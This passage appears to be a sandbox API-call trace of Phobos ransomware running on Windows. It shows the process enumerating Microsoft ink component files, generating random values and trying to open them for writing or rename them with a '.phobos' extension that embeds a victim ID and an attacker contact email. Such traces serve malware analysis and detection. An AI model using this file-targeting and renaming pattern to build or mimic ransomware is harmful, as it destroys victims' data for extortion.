dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.348] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.348] CloseHandle (hObject=0x2d8) returned 1 [0169.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0169.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.349] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.350] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1700352) returned 1 [0169.350] CloseHandle (hObject=0x2d8) returned 1 [0169.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0169.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0169.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0169.350] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.351] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=503808) returned 1 [0169.351] CloseHandle (hObject=0x2d8) returned 1 [0169.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0169.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.351] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.351] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1540608) returned 1 [0169.351] CloseHandle (hObject=0x2d8) returned 1 [0169.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0169.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.352] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.352] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=6368768) returned 1 [0169.352] CloseHandle (hObject=0x2d8) returned 1 [0169.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0169.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0169.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0169.353] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.353] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=51200) returned 1 [0169.353] CloseHandle (hObject=0x2d8) returned 1 [0169.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0169.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.353] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.354] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1075712) returned 1 [0169.354] CloseHandle (hObject=0x2d8) returned 1 [0169.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0169.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.354] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.355] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.355] CloseHandle (hObject=0x2d8) returned 1 [0169.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0169.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.355] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.356] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.356] CloseHandle (hObject=0x2d8) returned 1 [0169.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0169.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.356] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.356] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.356] CloseHandle (hObject=0x2d8) returned 1 [0169.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0169.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.357] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.357] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.357] CloseHandle (hObject=0x2d8) returned 1 [0169.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0169.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.358] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.358] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.358] CloseHandle (hObject=0x2d8) returned 1 [0169.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0169.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.359] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.359] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.359] CloseHandle (hObject=0x2d8) returned 1 [0169.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0169.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.359] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.360] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=177664) returned 1 [0169.360] CloseHandle (hObject=0x2d8) returned 1 [0169.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0169.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.360] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.360] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.360] CloseHandle (hObject=0x2d8) returned 1 [0169.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0169.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.361] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.361] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=733696) returned 1 [0169.361] CloseHandle (hObject=0x2d8) returned 1 [0169.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0169.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.362] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.362] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.362] CloseHandle (hObject=0x2d8) returned 1 [0169.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common 